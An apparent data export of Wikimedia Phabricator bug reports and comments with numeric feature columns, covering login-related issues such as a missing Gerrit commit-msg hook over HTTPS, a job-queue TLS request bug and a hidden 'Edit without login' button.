+534838,Login integration for Sentry,"Change 240949 had a related patch set uploaded (by Gergő Tisza):
+[WIP] LDAP support
+
+[[https://gerrit.wikimedia.org/r/240949]]
+",,,1443144343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+493724,Login integration for Sentry,"They seem to be in the process of moving away from python/django-social-auth and implemented their own generic auth system in  [src/sentry/auth](https://github.com/getsentry/sentry/tree/master/src/sentry/auth), see [issue:1372](https://github.com/getsentry/sentry/issues/1372#issuecomment-69973225). I'm not sure what the status of that is, I still see plenty of social-auth references.",,,1437355631,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+94251,"""Login unification complete!"" should report/encourage user to set up Global user, and indicate actual user pages.","I logged in with my personal account and visited https://en.wikipedia.org/wiki/Special:MergeAccount .  It confirmed
+>You can now log in to any wiki site of the Wikimedia Foundation without creating a new account.
+> Read more about unified login…
+> The accounts named ""Skierpage"" on each of the following sites have been automatically attached to the unified account: 
+> - [[ https://commons.wikimedia.org/wiki/User:Skierpage | commons.wikimedia.org ]]
+> - [[ https://de.wikipedia.org/wiki/User:Skierpage | de.wikipedia.org ]]
+> - (20 more links)
+
+But
+  - no indication if I actually have a user page on those sites, everything is a blue link
+  - no mention of [[ https://meta.wikimedia.org/wiki/Global_user_page |  Global user page]] and whether I have one.
+
+Expected result: SpecialMergeAccount.php's `showStatus()` should be aware of Global user page. Tell me about it, tell me if I have a meta user page already, and for each of these wiki user page links that it's already showing (in `listWikis()`, indicate if I have a user page. Thus I'd see information like
+  # ""You do/do not have a [[ https://meta.wikimedia.org/wiki/Global_user_page | Global user page]].""
+    - If not, ""You should [[ https://meta.wikimedia.org/wiki/User:JohnDoe | create a  global user page]]""
+  # ""(After you create it, ) Your global user page will display if someone visits your username on all 800 wikis""
+  # ""In the list of accounts below, you have a local user page on the starred wikis.""",Lowest,10.0,1427490103,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-s6xbwrsut72bkcjtp2df,task_description,open,True,c3,1,False,False,,-14,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+434347,"""Login unification complete!"" should report/encourage user to set up Global user, and indicate actual user pages.",I'm good with this. Patches welcome.,,,1427496332,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-s6xbwrsut72bkcjtp2df,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+93489,/tools/hooks/commit-msg is missing for HTTPS remote URL,"{P419}
+This is with any HTTPS remote URL. It's happy if I set the remote URL to SSH instead.
+
+
+Workaround:
+>>! In T93489#1237736, @valhallasw wrote:
+> In the mediawiki-core directory,
+> ```
+> cd .git/hooks
+> wget https://gerrit.wikimedia.org/r/tools/hooks/commit-msg
+> chmod 755 commit-msg
+> ```
+> 
+> will install the commit-msg hook. 
+
+Everything should work afterwards. Note, however, that the password for pushing is not your normal password, but the one listed under https://gerrit.wikimedia.org/r/#/settings/http-password .
+",Lowest,10.0,1426975144,1468949478.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-bxp7xrbobtrp5o3q3swv,False,PHID-TASK-qqrnonenwr5pam364uwz,task_description,resolved,True,c3,1,True,False,False,-15,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+697004,/tools/hooks/commit-msg is missing for HTTPS remote URL,"Oh woops, sorry I didn't mean to close it but anyways seems to be resolved and the rewrite rule added. Please reopen if the problem still happends.",,,1468949539,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,3,True,,,54,True,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+697003,/tools/hooks/commit-msg is missing for HTTPS remote URL,Can this be closed since the rewrite rule was added to gerrit apache. It should work on the old gerrit and the new gerrit now.,,,1468949478,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,3,True,,,54,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+449512,/tools/hooks/commit-msg is missing for HTTPS remote URL,Thanks @valhallasw. It worked!,,,1430129547,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0
+449509,/tools/hooks/commit-msg is missing for HTTPS remote URL,"@Pginer-WMF:
+
+In the mediawiki-core directory,
+```
+cd .git/hooks
+wget https://gerrit.wikimedia.org/r/tools/hooks/commit-msg
+chmod 755 commit-msg
+```
+
+will install the commit-msg hook. I think that's the only git-review speed bump for https (other than that you have to use the right password, namely the one listed under https://gerrit.wikimedia.org/r/#/settings/http-password ).",,,1430128590,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0
+449508,/tools/hooks/commit-msg is missing for HTTPS remote URL,"After having used a local installation for a while, I tried a new one using Vagrant and found this problem. In the ticket comments there seem to be some references to workarounds, but a more detailed description of how to apply it would be helpful.",,,1430128231,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,False,,,-10,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+430606,/tools/hooks/commit-msg is missing for HTTPS remote URL,">>! In T93489#1139358, @Krenair wrote:
+> I've experienced this with every repo I had configured to use HTTPS rather than SSH.
+
+The above commands start with a //https// clone and lets `git-review` setup what it needs (like switching to SSH).
+
+So by 'configured to use HTTPS' you mean you either forcing a HTTPS remote (like using `-r ...`)?
+
+I guess you're on your own then. `git-review` fails to figure out to add a `/r/` to the URL (which is needed by WMF reverse proxy setup).
+
+https://review.openstack.org/gitweb?p=openstack-infra/git-review.git;a=blob;f=git_review/cmd.py;h=3abf3271866817eafeb3985fe56697d4da6eab5f;hb=79262a52301c146a6b60d09a828661a83a5f5ba7#l312
+
+I guess one either needs to setup a forward from
+
+  https://gerrit.wikimedia.org/tools/hooks/commit-msg
+
+to
+
+  https://gerrit.wikimedia.org/r/tools/hooks/commit-msg
+
+, or fix `git-review` itself to figure out about adding the `/r/`.",,,1427054614,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1
+430586,/tools/hooks/commit-msg is missing for HTTPS remote URL,"I've experienced this with every repo I had configured to use HTTPS rather than SSH.
+```alex@alex-laptop:~$ git-review --version
+git-review version 1.24```",,,1427049762,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+430584,/tools/hooks/commit-msg is missing for HTTPS remote URL,"The remote URL looks wrong. It should be https://gerrit.wikimedia.org/r/tools/hooks/commit-msg (Note the `/r/` in the path).
+
+However ... I cannot reproduce your issue.
+When cloning through https, `git-review` is smart enough to figure things out for me:
+
+```
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 19:32:58 // exit code: 0
+cwd: ~/sources/Wikimedia/gerrit/EventLogging
+git-review --version
+git-review version 1.24.post51
+
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 19:33:01 // exit code: 0
+cwd: ~/sources/Wikimedia/gerrit
+git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/EventLogging
+Cloning into 'EventLogging'...
+remote: Counting objects: 215, done
+remote: Finding sources: 100% (43/43)
+remote: Getting sizes: 100% (31/31)
+remote: Compressing objects: 100% (57301/57301)
+remote: Total 3888 (delta 6), reused 3861 (delta 5)
+Receiving objects: 100% (3888/3888), 805.66 KiB | 357 KiB/s, done.
+Resolving deltas: 100% (2448/2448), done.
+
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 19:33:08 // exit code: 0
+cwd: ~/sources/Wikimedia/gerrit
+cd EventLogging/
+
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 19:33:11 // exit code: 0
+cwd: ~/sources/Wikimedia/gerrit/EventLogging
+git review -s
+Could not connect to gerrit.
+Enter your gerrit username: qchris
+Trying again with ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/EventLogging.git
+Creating a git remote called ""gerrit"" that maps to:
+        ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/EventLogging.git
+
+This repository is now set up for use with git-review. You can set the
+default username for future repositories with:
+  git config --global --add gitreview.username ""qchris""
+
+
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 19:33:26 // exit code: 0
+cwd: ~/sources/Wikimedia/gerrit/EventLogging
+ll .git/hooks/commit-msg
+-rwxr-xr-x 1 christian users 4376 Mar 22 19:33 .git/hooks/commit-msg*
+```
+
+Which version of `git-review` are you running, and which repo are you experiencing the issue with?",,,1427049540,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+90033,Support 1password for login,"https://github.com/AgileBits/onepassword-app-extension
+
+Quicker login for 1 password users. ",Lowest,10.0,1424391436,1536070624.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-gtqkf7mx7vj4gbx75naw,False,PHID-TASK-4urqli3vskievmtmywbs,task_description,declined,True,c3,1,False,False,False,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+515633,Support 1password for login,1Password looks like your average password manager so there is no need for any explicit support from MediaWiki side.,,,1440662325,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-4urqli3vskievmtmywbs,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+417829,Support 1password for login,"As a 1Password user, I support this feature :-)",,,1424975899,,PHID-USER-6vqtwycrvuonr2xo7bqi,True,,,PHID-TASK-4urqli3vskievmtmywbs,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+89210,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","In Bugzilla, everyone can see CC List of a bug. I don't know why we can't do that in Phabricator.
+",Lowest,10.0,1423634288,1428789419.0,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-wesbvwfhyk37ok2y3fav,task_description,resolved,True,c3,1,True,False,True,-21,True,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+442488,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")",Sounds like I effectively upstreamed this independently as https://secure.phabricator.com/T7317,,,1428789365,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+409789,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")",This is related to {T639}. So far upstream has been fixing these inconsistencies when we have reported them.,,,1423660654,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+409711,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","If there're a lot of subscribers you will see ""and XX others"". When you click ""XX others"" Phabricator ask you to login.",,,1423650530,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+409700,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","?
+
+As anonymous user, I can see the subscribers of this task:
+
+  Subscribers     Aklapper, Bugreporter 
+
+Please share URLs where the problem you are reporting can be reproduced.",,,1423649117,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+89065,Jobs Queue Doesn't Make Proper TLS Request (HTTP request against the HTTP port which generates a 301 redirect),"My wiki is private and runs on TLS only.  Since 1.23 the jobs queue won't run because it makes an HTTP request against the HTTP port, which generates a 301 redirect, that mediawiki ignores.  fsockopen can handle SSL/TLS negotiations but there is no code apparently detecting the $wgServer containing https:// and adjusting accordingly.  I was able to modify the fsockopen like this to make it work (near line 666 in MediaWiki.php 1.24.0):
+
+```
+                $sock = fsockopen(
+                       ""tls://"" . $info['host'],
+                        isset( $info['port'] ) ? $info['port'] : 443,
+                        $errno,
+                        $errstr,
+                        // If it takes more than 100ms to connect to ourselves there
+                        // is a problem elsewhere.
+                        0.1
+                );
+```
+
+Obviously in a proper design, you would assume port 443 (unless overridden) and TLS from ""https://"" in the $wgServer and prepend tls:// or ssl:// to the hostname for fsockopen.",Lowest,10.0,1423530270,1463771478.0,PHID-USER-5yr7uedvkbhzdccm6hy2,False,PHID-USER-5yr7uedvkbhzdccm6hy2,False,PHID-TASK-c7c7guy25af4ajrsliu2,task_description,resolved,True,c3,1,True,True,False,-21,True,0,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+666036,Jobs Queue Doesn't Make Proper TLS Request (HTTP request against the HTTP port which generates a 301 redirect),This was reported again in T107290 and fixed there.,,,1463771478,,PHID-USER-5yr7uedvkbhzdccm6hy2,False,,,PHID-TASK-c7c7guy25af4ajrsliu2,task_subcomment,,True,c3,3,True,,,46,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+88264,"""Edit without login"" button is hidden in editor cta","The button ""Edit without login"" has display:none; on the editor cta.
+
+Steps to reproduce:
+1. Make sure you're in alpha or anonymous editing is enabled in your configuration
+2. Go to an editable page
+3. Click the edit pencil
+
+Expected: You see a warning and 3 options (Edit without login, login and signup)
+Observed: You don't see the edit without login button",Lowest,10.0,1422866498,1422896508.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-swjki3cdfm27cfioa7dz,task_description,resolved,True,c3,1,True,True,True,-22,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+421470,"""Edit without login"" button is hidden in editor cta","> The change will have gone out on the train since the last date you mentioned, right?
+
+I think so, unless I missed something.",,,1425569473,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+421336,"""Edit without login"" button is hidden in editor cta","I've just very quickly verified the behaviour on http://en.wikipedia.org/wiki/Samurai?mobileaction=alpha – including checking that the change is present in the source for `EditorOverlay.js`.
+
+The change will have gone out on the train since the last date you mentioned, right?",,,1425551620,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+421296,"""Edit without login"" button is hidden in editor cta","Between 2015-01-29 and 2015-02-11 the only MobileFrontend SAL item I see is [[https://wikitech.wikimedia.org/wiki/Server_Admin_Log#January_30| 19:27 logmsgbot: phuedx Synchronized php-1.25wmf15/extensions/MobileFrontend/: No-op deployment training (duration: 00m 06s)]]. The bug and its fix [[https://www.mediawiki.org/wiki/MediaWiki_1.25/wmf16#MobileFrontend|were both in 1.25wmf16]].
+
+So the bug was never deployed, right?",,,1425545989,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+405639,"""Edit without login"" button is hidden in editor cta","Change 188043 merged by jenkins-bot:
+Don't hide ""edit without login"" button on editor cta
+
+[[https://gerrit.wikimedia.org/r/188043]]",,,1422896618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+405569,"""Edit without login"" button is hidden in editor cta","Change 188043 had a related patch set uploaded (by Florianschmidtwelzow):
+Don't hide ""edit without login"" button on editor cta
+
+[[https://gerrit.wikimedia.org/r/188043]]
+
+#patch-for-review",,,1422880620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+405491,"""Edit without login"" button is hidden in editor cta",Caused by: https://gerrit.wikimedia.org/r/#/c/185929/,,,1422866532,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+87552,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Report upstream: https://secure.phabricator.com/T7073 
+
+The Phabricator login button seems to be a log out icon. Maybe it isn't, but that's what it looks like and it was a bit confusing.",Lowest,10.0,1422241844,1426107766.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_description,resolved,True,c3,1,False,False,True,-23,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+798137,Phabricator login button uses an ambiguous icon that could be interpreted as logout,This was fixed in https://secure.phabricator.com/T11096 and deployed on 2017-01-25.,,,1485430092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+424807,Phabricator login button uses an ambiguous icon that could be interpreted as logout,https://phabricator.wikimedia.org/T78464#981482,,,1426107766,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+411369,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#1037872, @chasemp wrote:
+> FWIW I did that once
+
